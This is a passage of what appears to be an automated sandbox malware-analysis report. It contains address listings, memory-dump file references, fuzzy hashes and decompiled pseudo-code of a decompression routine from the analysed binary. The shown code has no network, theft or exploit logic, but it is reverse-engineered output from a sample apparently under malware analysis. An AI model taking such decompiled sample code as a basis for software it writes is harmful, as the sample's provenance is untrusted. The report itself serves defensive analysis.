                                      0x00406d48
                                      0x00406d4b
                                      0x00406d40
                                      0x00406d40
                                      0x00406d40
                                      0x00406d4e
                                      0x00406d51
                                      0x00406d54
                                      0x00406d54
                                      0x00406d57
                                      0x00406d5a
                                      0x00406d5d
                                      0x00406d5d
                                      0x00406d60
                                      0x00406d67
                                      0x00406d6c
                                      0x00000000
                                      0x00000000
                                      0x00406dfa
                                      0x00406dfa
                                      0x00406dfe
                                      0x0040719c
                                      0x00000000
                                      0x0040719c
                                      0x00406e04
                                      0x00406e07
                                      0x00406e0a
                                      0x00406e0e
                                      0x00406e11
                                      0x00406e17
                                      0x00406e19
                                      0x00406e19
                                      0x00406e19
                                      0x00406e1c
                                      0x00406e1f
                                      0x00000000
                                      0x00000000
                                      0x004069ef
                                      0x004069ef
                                      0x004069f3
                                      0x00407160
                                      0x00000000
                                      0x00407160
                                      0x004069f9
                                      0x004069fc
                                      0x004069ff
                                      0x00406a03
                                      0x00406a06
                                      0x00406a0c
                                      0x00406a0e
                                      0x00406a0e
                                      0x00406a0e
                                      0x00406a11
                                      0x00406a14
                                      0x00406a14
                                      0x00406a17
                                      0x00406a1a
                                      0x00000000
                                      0x00000000
                                      0x00406a20
                                      0x00406a26
                                      0x00000000
                                      0x00000000
                                      0x00406a2c
                                      0x00406a2c
                                      0x00406a30
                                      0x00406a33
                                      0x00406a36
                                      0x00406a39
                                      0x00406a3c
                                      0x00406a3d
                                      0x00406a40
                                      0x00406a42
                                      0x00406a48
                                      0x00406a4b
                                      0x00406a4e
                                      0x00406a51
                                      0x00406a54
                                      0x00406a57
                                      0x00406a5a
                                      0x00406a76
                                      0x00406a79
                                      0x00406a7c
                                      0x00406a7f
                                      0x00406a86
                                      0x00406a8a
                                      0x00406a8c
                                      0x00406a90
                                      0x00406a5c
                                      0x00406a5c
                                      0x00406a60
                                      0x00406a68
                                      0x00406a6d
                                      0x00406a6f
                                      0x00406a71
                                      0x00406a71
                                      0x00406a93
                                      0x00406a9a
                                      0x00406a9d
                                      0x00000000
                                      0x00406aa3
                                      0x00000000
                                      0x00406aa3
                                      0x00000000
                                      0x00406aa8
                                      0x00406aa8
                                      0x00406aac
                                      0x0040716c
                                      0x00000000
                                      0x0040716c
                                      0x00406ab2
                                      0x00406ab5
                                      0x00406ab8
                                      0x00406abc
                                      0x00406abf
                                      0x00406ac5
                                      0x00406ac7
                                      0x00406ac7
                                      0x00406ac7
                                      0x00406aca
                                      0x00406acd
                                      0x00406acd
                                      0x00406acd
                                      0x00406ad3
                                      0x00000000
                                      0x00000000
                                      0x00406ad5
                                      0x00406ad8
                                      0x00406adb
                                      0x00406ade
                                      0x00406ae1
                                      0x00406ae4
                                      0x00406ae7
                                      0x00406aea
                                      0x00406aed
                                      0x00406af0
                                      0x00406af3
                                      0x00406b0b
                                      0x00406b0e
                                      0x00406b11
                                      0x00406b14
                                      0x00406b14
                                      0x00406b17
                                      0x00406b1b
                                      0x00406b1d
                                      0x00406af5
                                      0x00406af5
                                      0x00406afd
                                      0x00406b02
                                      0x00406b04
                                      0x00406b06
                                      0x00406b06
                                      0x00406b20
                                      0x00406b27
                                      0x00406b2a
                                      0x00000000
                                      0x00406b2c
                                      0x00000000
                                      0x00406b2c
                                      0x00406b2a
                                      0x00406b31
                                      0x00406b31
                                      0x00406b31
                                      0x00406b31
                                      0x00000000
                                      0x00000000
                                      0x00406b6c
                                      0x00406b6c
                                      0x00406b70
                                      0x00407178
                                      0x00000000
                                      0x00407178
                                      0x00406b76
                                      0x00406b79
                                      0x00406b7c
                                      0x00406b80
                                      0x00406b83
                                      0x00406b89
                                      0x00406b8b
                                      0x00406b8b
                                      0x00406b8b
                                      0x00406b8e
                                      0x00406b91
                                      0x00406b91
                                      0x00406b97
                                      0x00406b35
                                      0x00406b35
                                      0x00406b38
                                      0x00000000
                                      0x00406b38
                                      0x00406b99
                                      0x00406b99
                                      0x00406b9c
                                      0x00406b9f
                                      0x00406ba2
                                      0x00406ba5
                                      0x00406ba8
                                      0x00406bab
                                      0x00406bae
                                      0x00406bb1
                                      0x00406bb4
                                      0x00406bb7
                                      0x00406bcf
                                      0x00406bd2
                                      0x00406bd5
                                      0x00406bd8
                                      0x00406bd8
                                      0x00406bdb
                                      0x00406bdf
                                      0x00406be1
                                      0x00406bb9
                                      0x00406bb9
                                      0x00406bc1
                                      0x00406bc6
                                      0x00406bc8
                                      0x00406bca
                                      0x00406bca
                                      0x00406be4
                                      0x00406beb
                                      0x00406bee
                                      0x00000000
                                      0x00406bf0
                                      0x00000000
                                      0x00406bf0
                                      0x00000000
                                      0x00406e7d
                                      0x00406e7d
                                      0x00406e81
                                      0x004071a8
                                      0x00000000
                                      0x004071a8
                                      0x00406e87
                                      0x00406e8a
                                      0x00406e8d
                                      0x00406e91
                                      0x00406e94
                                      0x00406e9a
                                      0x00406e9c
                                      0x00406e9c
                                      0x00406e9c
                                      0x00406e9f
                                      0x00000000
                                      0x00000000
                                      0x00406c4d
                                      0x00406c4d
                                      0x00406c50
                                      0x00406fc2
                                      0x00406fc2
                                      0x00406fc2
                                      0x00000000
                                      0x00406fc2
                                      0x00000000
                                      0x00406f8c
                                      0x00406f90
                                      0x00406fb2
                                      0x00406fb5
                                      0x00406fbf
                                      0x00406fc2
                                      0x00406fc2
                                      0x00406fc2
                                      0x00000000
                                      0x00406fc2
                                      0x00406fc2
                                      0x00406f92
                                      0x00406f95
                                      0x00406f99
                                      0x00406f9c
                                      0x00406f9c
                                      0x00406f9f
                                      0x00000000
                                      0x00000000
                                      0x00407049
                                      0x0040704d
                                      0x0040706b
                                      0x0040706b
                                      0x0040706b
                                      0x00407072
                                      0x00407079
                                      0x00407080
                                      0x00407080
                                      0x00000000
                                      0x00407080
                                      0x0040704f
                                      0x00407052
                                      0x00407055
                                      0x00407058
                                      0x0040705f
                                      0x00406fa3
                                      0x00406fa3
                                      0x00406fa6
                                      0x00000000
                                      0x00000000
                                      0x0040713a
                                      0x0040713d
                                      0x0040703e
                                      0x00000000
                                      0x00000000
                                      0x00406d74
                                      0x00406d76
                                      0x00406d7d
                                      0x00406d7e
                                      0x00406d80
                                      0x00406d83
                                      0x00000000
                                      0x00000000
                                      0x00406d8b
                                      0x00406d8e
                                      0x00406d91
                                      0x00406d93
                                      0x00406d95
                                      0x00406d95
                                      0x00406d96
                                      0x00406d99
                                      0x00406da0
                                      0x00406da3
                                      0x00406db1
                                      0x00000000
                                      0x00000000
                                      0x00407087
                                      0x00407087
                                      0x0040708a
                                      0x00407091
                                      0x00000000
                                      0x00000000
                                      0x00407096
                                      0x00407096
                                      0x0040709a
                                      0x004071d2
                                      0x00000000
                                      0x004071d2
                                      0x004070a0
                                      0x004070a3
                                      0x004070a6
                                      0x004070aa
                                      0x004070ad
                                      0x004070b3
                                      0x004070b5
                                      0x004070b5
                                      0x004070b5
                                      0x004070b8
                                      0x004070bb
                                      0x004070bb
                                      0x004070bb
                                      0x004070bb
                                      0x004070be
                                      0x004070be
                                      0x004070c2
                                      0x00407122
                                      0x00407125
                                      0x0040712a
                                      0x0040712b
                                      0x0040712d
                                      0x0040712f
                                      0x00407132
                                      0x0040703e
                                      0x0040703e
                                      0x00000000
                                      0x00407044
                                      0x0040703e
                                      0x004070c4
                                      0x004070ca
                                      0x004070cd
                                      0x004070d0
                                      0x004070d3
                                      0x004070d6
                                      0x004070d9
                                      0x004070dc
                                      0x004070df
                                      0x004070e2
                                      0x004070e5
                                      0x004070fe
                                      0x00407101
                                      0x00407104
                                      0x00407107
                                      0x0040710b
                                      0x0040710d
                                      0x0040710d
                                      0x0040710e
                                      0x00407111
                                      0x004070e7
                                      0x004070e7
                                      0x004070ef
                                      0x004070f4
                                      0x004070f6
                                      0x004070f9
                                      0x004070f9
                                      0x00407114
                                      0x0040711b
                                      0x00000000
                                      0x0040711d
                                      0x00000000
                                      0x0040711d
                                      0x00000000
                                      0x00406db9
                                      0x00406dbc
                                      0x00406df2
                                      0x00406f22
                                      0x00406f22
                                      0x00406f22
                                      0x00406f22
                                      0x00406f25
                                      0x00406f25
                                      0x00406f28
                                      0x00406f2a
                                      0x004071b4
                                      0x00000000
                                      0x004071b4
                                      0x00406f30
                                      0x00406f33
                                      0x00000000
                                      0x00000000
                                      0x00406f39
                                      0x00406f3d
                                      0x00406f40
                                      0x00406f40
                                      0x00406f40
                                      0x00000000
                                      0x00406f40
                                      0x00406dbe
                                      0x00406dc0
                                      0x00406dc2
                                      0x00406dc4
                                      0x00406dc7
                                      0x00406dc8
                                      0x00406dca
                                      0x00406dcc
                                      0x00406dcf
                                      0x00406dd2
                                      0x00406de8
                                      0x00406ded
                                      0x00406e25
                                      0x00406e25
                                      0x00406e29
                                      0x00406e55
                                      0x00406e57
                                      0x00406e5e
                                      0x00406e61
                                      0x00406e64
                                      0x00406e64
                                      0x00406e69
                                      0x00406e69
                                      0x00406e6b
                                      0x00406e6e
                                      0x00406e75
                                      0x00406e78
                                      0x00406ea5
                                      0x00406ea5
                                      0x00406ea8
                                      0x00406eab
                                      0x00406f1f
                                      0x00406f1f
                                      0x00406f1f
                                      0x00000000
                                      0x00406f1f
                                      0x00406ead
                                      0x00406eb3
                                      0x00406eb6
                                      0x00406eb9
                                      0x00406ebc
                                      0x00406ebf
                                      0x00406ec2
                                      0x00406ec5
                                      0x00406ec8
                                      0x00406ecb
                                      0x00406ece
                                      0x00406ee7
                                      0x00406ee9
                                      0x00406eec
                                      0x00406eed
                                      0x00406ef0
                                      0x00406ef2
                                      0x00406ef5
                                      0x00406ef7
                                      0x00406ef9
                                      0x00406efc
                                      0x00406efe
                                      0x00406f01
                                      0x00406f05
                                      0x00406f07
                                      0x00406f07
                                      0x00406f08
                                      0x00406f0b
                                      0x00406f0e
                                      0x00406ed0
                                      0x00406ed0
                                      0x00406ed8
                                      0x00406edd
                                      0x00406edf
                                      0x00406ee2
                                      0x00406ee2
                                      0x00406f11
                                      0x00406f18
                                      0x00406ea2
                                      0x00406ea2
                                      0x00406ea2
                                      0x00406ea2
                                      0x00000000
                                      0x00406f1a
                                      0x00000000
                                      0x00406f1a
                                      0x00406f18
                                      0x00406e2b
                                      0x00406e2e
                                      0x00406e30
                                      0x00406e33
                                      0x00406e36
                                      0x00406e39
                                      0x00406e3b
                                      0x00406e3e
                                      0x00406e41
                                      0x00406e41
                                      0x00406e44
                                      0x00406e44
                                      0x00406e47
                                      0x00406e4e
                                      0x00406e22
                                      0x00406e22
                                      0x00406e22
                                      0x00406e22
                                      0x00000000
                                      0x00406e50
                                      0x00000000
                                      0x00406e50
                                      0x00406e4e
                                      0x00406dd4
                                      0x00406dd7
                                      0x00406dd9
                                      0x00406ddc
                                      0x00000000
                                      0x00000000
                                      0x00406b3b
                                      0x00406b3b
                                      0x00406b3f
                                      0x00407184
                                      0x00000000
                                      0x00407184
                                      0x00406b45
                                      0x00406b48
                                      0x00406b4b
                                      0x00406b4e
                                      0x00406b51
                                      0x00406b54
                                      0x00406b57
                                      0x00406b59
                                      0x00406b5c
                                      0x00406b5f
                                      0x00406b62
                                      0x00406b64
                                      0x00406b64
                                      0x00406b64
                                      0x00000000
                                      0x00000000
                                      0x00406cc6
                                      0x00406cc6
                                      0x00406cca
                                      0x00407190
                                      0x00000000
                                      0x00407190
                                      0x00406cd0
                                      0x00406cd3
                                      0x00406cd6
                                      0x00406cd9
                                      0x00406cdb
                                      0x00406cdb
                                      0x00406cdb
                                      0x00406cde
                                      0x00406ce1
                                      0x00406ce4
                                      0x00406ce7
                                      0x00406cea
                                      0x00406ced
                                      0x00406cee
                                      0x00406cf0
                                      0x00406cf0
                                      0x00406cf0
                                      0x00406cf3
                                      0x00406cf6
                                      0x00406cf9
                                      0x00406cfc
                                      0x00406cfc
                                      0x00406cfc
                                      0x00406cff
                                      0x00406d01
                                      0x00406d01
                                      0x00000000
                                      0x00000000
                                      0x00406f43
                                      0x00406f43
                                      0x00406f43
                                      0x00406f47
                                      0x00000000
                                      0x00000000
                                      0x00406f4d
                                      0x00406f50
                                      0x00406f53
                                      0x00406f56
                                      0x00406f58
                                      0x00406f58
                                      0x00406f58
                                      0x00406f5b
                                      0x00406f5e
                                      0x00406f61
                                      0x00406f64
                                      0x00406f67
                                      0x00406f6a
                                      0x00406f6b
                                      0x00406f6d
                                      0x00406f6d
                                      0x00406f6d
                                      0x00406f70
                                      0x00406f73
                                      0x00406f76
                                      0x00406f79
                                      0x00406f7c
                                      0x00406f80
                                      0x00406f82
                                      0x00406f85
                                      0x00000000
                                      0x00406f87
                                      0x00406d04
                                      0x00406d04
                                      0x00000000
                                      0x00406d04
                                      0x00406f85
                                      0x004071ba
                                      0x00000000
                                      0x00000000
                                      0x004067e9
                                      0x004071f1
                                      0x004071f1
                                      0x00000000
                                      0x004071f1
                                      0x0040703e
                                      0x00406fc5
                                      0x00406fc2
                                      0x00000000
                                      0x00406bf9

                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 00843b0969967e6d4f9cc830e58333b9624a019a99b12018acef51654acc7fa4
                                      • Instruction ID: 5bbe2b58965c0beeac19dcf892031eaf3bd84ec3573d7bafdcb84a7f6e2b809b
                                      • Opcode Fuzzy Hash: 00843b0969967e6d4f9cc830e58333b9624a019a99b12018acef51654acc7fa4
                                      • Instruction Fuzzy Hash: 9A713471E04228DFDF28CFA8C9447ADBBB1FB44305F15806AE846BB280C7389996DF44
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 98%
                                      			E00406D13() {
                                      				unsigned short _t531;
                                      				signed int _t532;
                                      				void _t533;
                                      				signed int _t534;
                                      				signed int _t535;
                                      				signed int _t565;
                                      				signed int _t568;
                                      				signed int _t589;
                                      				signed int* _t606;
                                      				void* _t613;
                                      
                                      				L0:
                                      				while(1) {
                                      					L0:
                                      					if( *(_t613 - 0x40) != 0) {
                                      						 *(_t613 - 0x84) = 0xb;
                                      						_t606 =  *(_t613 - 4) + 0x1c8 +  *(_t613 - 0x38) * 2;
                                      						goto L132;
                                      					} else {
                                      						__eax =  *(__ebp - 0x28);
                                      						L88:
                                      						 *(__ebp - 0x2c) = __eax;
                                      						 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                      						L89:
                                      						__eax =  *(__ebp - 4);
                                      						 *(__ebp - 0x80) = 0x15;
                                      						__eax =  *(__ebp - 4) + 0xa68;
                                      						 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
                                      						L69:
                                      						 *(__ebp - 0x84) = 0x12;
                                      						while(1) {
                                      							L132:
                                      							 *(_t613 - 0x54) = _t606;
                                      							while(1) {
                                      								L133:
                                      								_t531 =  *_t606;
                                      								_t589 = _t531 & 0x0000ffff;
                                      								_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
                                      								if( *(_t613 - 0xc) >= _t565) {
                                      									 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
                                      									 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
                                      									 *(_t613 - 0x40) = 1;
                                      									_t532 = _t531 - (_t531 >> 5);
                                      									 *_t606 = _t532;
                                      								} else {
                                      									 *(_t613 - 0x10) = _t565;
                                      									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
                                      									 *_t606 = (0x800 - _t589 >> 5) + _t531;
                                      								}
                                      								if( *(_t613 - 0x10) >= 0x1000000) {
                                      									goto L139;
                                      								}
                                      								L137:
                                      								if( *(_t613 - 0x6c) == 0) {
                                      									 *(_t613 - 0x88) = 5;
                                      									L170:
                                      									_t568 = 0x22;
                                      									memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
                                      									_t535 = 0;
                                      									L172:
                                      									return _t535;
                                      								}
                                      								 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
                                      								 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                      								 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
                                      								 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
                                      								L139:
                                      								_t533 =  *(_t613 - 0x84);
                                      								while(1) {
                                      									 *(_t613 - 0x88) = _t533;
                                      									while(1) {
                                      										L1:
                                      										_t534 =  *(_t613 - 0x88);
                                      										if(_t534 > 0x1c) {
                                      											break;
                                      										}
                                      										switch( *((intOrPtr*)(_t534 * 4 +  &M004071F9))) {
                                      											case 0:
                                      												if( *(_t613 - 0x6c) == 0) {
                                      													goto L170;
                                      												}
                                      												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                      												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
                                      												_t534 =  *( *(_t613 - 0x70));
                                      												if(_t534 > 0xe1) {
                                      													goto L171;
                                      												}
                                      												_t538 = _t534 & 0x000000ff;
                                      												_push(0x2d);
                                      												asm("cdq");
                                      												_pop(_t570);
                                      												_push(9);
                                      												_pop(_t571);
                                      												_t609 = _t538 / _t570;
                                      												_t540 = _t538 % _t570 & 0x000000ff;
                                      												asm("cdq");
                                      												_t604 = _t540 % _t571 & 0x000000ff;
                                      												 *(_t613 - 0x3c) = _t604;
                                      												 *(_t613 - 0x1c) = (1 << _t609) - 1;
                                      												 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
                                      												_t612 = (0x300 << _t604 + _t609) + 0x736;
                                      												if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
                                      													L10:
                                      													if(_t612 == 0) {
                                      														L12:
                                      														 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
                                      														 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
                                      														goto L15;
                                      													} else {
                                      														goto L11;
                                      													}
                                      													do {
                                      														L11:
                                      														_t612 = _t612 - 1;
                                      														 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
                                      													} while (_t612 != 0);
                                      													goto L12;
                                      												}
                                      												if( *(_t613 - 4) != 0) {
                                      													GlobalFree( *(_t613 - 4)); // executed
                                      												}
                                      												_t534 = GlobalAlloc(0x40, 0x600); // executed
                                      												 *(_t613 - 4) = _t534;
                                      												if(_t534 == 0) {
                                      													goto L171;
                                      												} else {
                                      													 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
                                      													goto L10;
                                      												}
                                      											case 1:
                                      												L13:
                                      												__eflags =  *(_t613 - 0x6c);
                                      												if( *(_t613 - 0x6c) == 0) {
                                      													 *(_t613 - 0x88) = 1;
                                      													goto L170;
                                      												}
                                      												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                      												 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
                                      												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
                                      												_t45 = _t613 - 0x48;
                                      												 *_t45 =  *(_t613 - 0x48) + 1;
                                      												__eflags =  *_t45;
                                      												L15:
                                      												if( *(_t613 - 0x48) < 4) {
                                      													goto L13;
                                      												}
                                      												_t546 =  *(_t613 - 0x40);
                                      												if(_t546 ==  *(_t613 - 0x74)) {
                                      													L20:
                                      													 *(_t613 - 0x48) = 5;
                                      													 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
                                      													goto L23;
                                      												}
                                      												 *(_t613 - 0x74) = _t546;
                                      												if( *(_t613 - 8) != 0) {
                                      													GlobalFree( *(_t613 - 8)); // executed
                                      												}
                                      												_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
                                      												 *(_t613 - 8) = _t534;
                                      												if(_t534 == 0) {
                                      													goto L171;
                                      												} else {
                                      													goto L20;
                                      												}
                                      											case 2:
                                      												L24:
                                      												_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
                                      												 *(_t613 - 0x84) = 6;
                                      												 *(_t613 - 0x4c) = _t553;
                                      												_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
                                      												L132:
                                      												 *(_t613 - 0x54) = _t606;
                                      												goto L133;
                                      											case 3:
                                      												L21:
                                      												__eflags =  *(_t613 - 0x6c);
                                      												if( *(_t613 - 0x6c) == 0) {
                                      													 *(_t613 - 0x88) = 3;
                                      													goto L170;
                                      												}
                                      												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                      												_t67 = _t613 - 0x70;
                                      												 *_t67 =  &(( *(_t613 - 0x70))[1]);
                                      												__eflags =  *_t67;
                                      												 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
                                      												L23:
                                      												 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
                                      												if( *(_t613 - 0x48) != 0) {
                                      													goto L21;
                                      												}
                                      												goto L24;
                                      											case 4:
                                      												L133:
                                      												_t531 =  *_t606;
                                      												_t589 = _t531 & 0x0000ffff;
                                      												_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
                                      												if( *(_t613 - 0xc) >= _t565) {
                                      													 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
                                      													 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
                                      													 *(_t613 - 0x40) = 1;
                                      													_t532 = _t531 - (_t531 >> 5);
                                      													 *_t606 = _t532;
                                      												} else {
                                      													 *(_t613 - 0x10) = _t565;
                                      													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
                                      													 *_t606 = (0x800 - _t589 >> 5) + _t531;
                                      												}
                                      												if( *(_t613 - 0x10) >= 0x1000000) {
                                      													goto L139;
                                      												}
                                      											case 5:
                                      												goto L137;
                                      											case 6:
                                      												__edx = 0;
                                      												__eflags =  *(__ebp - 0x40);
                                      												if( *(__ebp - 0x40) != 0) {
                                      													__eax =  *(__ebp - 4);
                                      													__ecx =  *(__ebp - 0x38);
                                      													 *(__ebp - 0x34) = 1;
                                      													 *(__ebp - 0x84) = 7;
                                      													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
                                      													while(1) {
                                      														L132:
                                      														 *(_t613 - 0x54) = _t606;
                                      														goto L133;
                                      													}
                                      												}
                                      												__eax =  *(__ebp - 0x5c) & 0x000000ff;
                                      												__esi =  *(__ebp - 0x60);
                                      												__cl = 8;
                                      												__cl = 8 -  *(__ebp - 0x3c);
                                      												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
                                      												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
                                      												__ecx =  *(__ebp - 0x3c);
                                      												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
                                      												__ecx =  *(__ebp - 4);
                                      												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
                                      												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
                                      												__eflags =  *(__ebp - 0x38) - 4;
                                      												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                      												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                      												if( *(__ebp - 0x38) >= 4) {
                                      													__eflags =  *(__ebp - 0x38) - 0xa;
                                      													if( *(__ebp - 0x38) >= 0xa) {
                                      														_t98 = __ebp - 0x38;
                                      														 *_t98 =  *(__ebp - 0x38) - 6;
                                      														__eflags =  *_t98;
                                      													} else {
                                      														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
                                      													}
                                      												} else {
                                      													 *(__ebp - 0x38) = 0;
                                      												}
                                      												__eflags =  *(__ebp - 0x34) - __edx;
                                      												if( *(__ebp - 0x34) == __edx) {
                                      													__ebx = 0;
                                      													__ebx = 1;
                                      													goto L61;
                                      												} else {
                                      													__eax =  *(__ebp - 0x14);
                                      													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                      													__eflags = __eax -  *(__ebp - 0x74);
                                      													if(__eax >=  *(__ebp - 0x74)) {
                                      														__eax = __eax +  *(__ebp - 0x74);
                                      														__eflags = __eax;
                                      													}
                                      													__ecx =  *(__ebp - 8);
                                      													__ebx = 0;
                                      													__ebx = 1;
                                      													__al =  *((intOrPtr*)(__eax + __ecx));
                                      													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
                                      													goto L41;
                                      												}
                                      											case 7:
                                      												__eflags =  *(__ebp - 0x40) - 1;
                                      												if( *(__ebp - 0x40) != 1) {
                                      													__eax =  *(__ebp - 0x24);
                                      													 *(__ebp - 0x80) = 0x16;
                                      													 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                      													__eax =  *(__ebp - 0x28);
                                      													 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                      													__eax =  *(__ebp - 0x2c);
                                      													 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                      													__eax = 0;
                                      													__eflags =  *(__ebp - 0x38) - 7;
                                      													0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                      													__al = __al & 0x000000fd;
                                      													__eax = (__eflags >= 0) - 1 + 0xa;
                                      													 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
                                      													__eax =  *(__ebp - 4);
                                      													__eax =  *(__ebp - 4) + 0x664;
                                      													__eflags = __eax;
                                      													 *(__ebp - 0x58) = __eax;
                                      													goto L69;
                                      												}
                                      												__eax =  *(__ebp - 4);
                                      												__ecx =  *(__ebp - 0x38);
                                      												 *(__ebp - 0x84) = 8;
                                      												__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
                                      												while(1) {
                                      													L132:
                                      													 *(_t613 - 0x54) = _t606;
                                      													goto L133;
                                      												}
                                      											case 8:
                                      												__eflags =  *(__ebp - 0x40);
                                      												if( *(__ebp - 0x40) != 0) {
                                      													__eax =  *(__ebp - 4);
                                      													__ecx =  *(__ebp - 0x38);
                                      													 *(__ebp - 0x84) = 0xa;
                                      													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
                                      												} else {
                                      													__eax =  *(__ebp - 0x38);
                                      													__ecx =  *(__ebp - 4);
                                      													__eax =  *(__ebp - 0x38) + 0xf;
                                      													 *(__ebp - 0x84) = 9;
                                      													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
                                      													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
                                      												}
                                      												while(1) {
                                      													L132:
                                      													 *(_t613 - 0x54) = _t606;
                                      													goto L133;
                                      												}
                                      											case 9:
                                      												__eflags =  *(__ebp - 0x40);
                                      												if( *(__ebp - 0x40) != 0) {
                                      													goto L89;
                                      												}
                                      												__eflags =  *(__ebp - 0x60);
                                      												if( *(__ebp - 0x60) == 0) {
                                      													goto L171;
                                      												}
                                      												__eax = 0;
                                      												__eflags =  *(__ebp - 0x38) - 7;
                                      												_t259 =  *(__ebp - 0x38) - 7 >= 0;
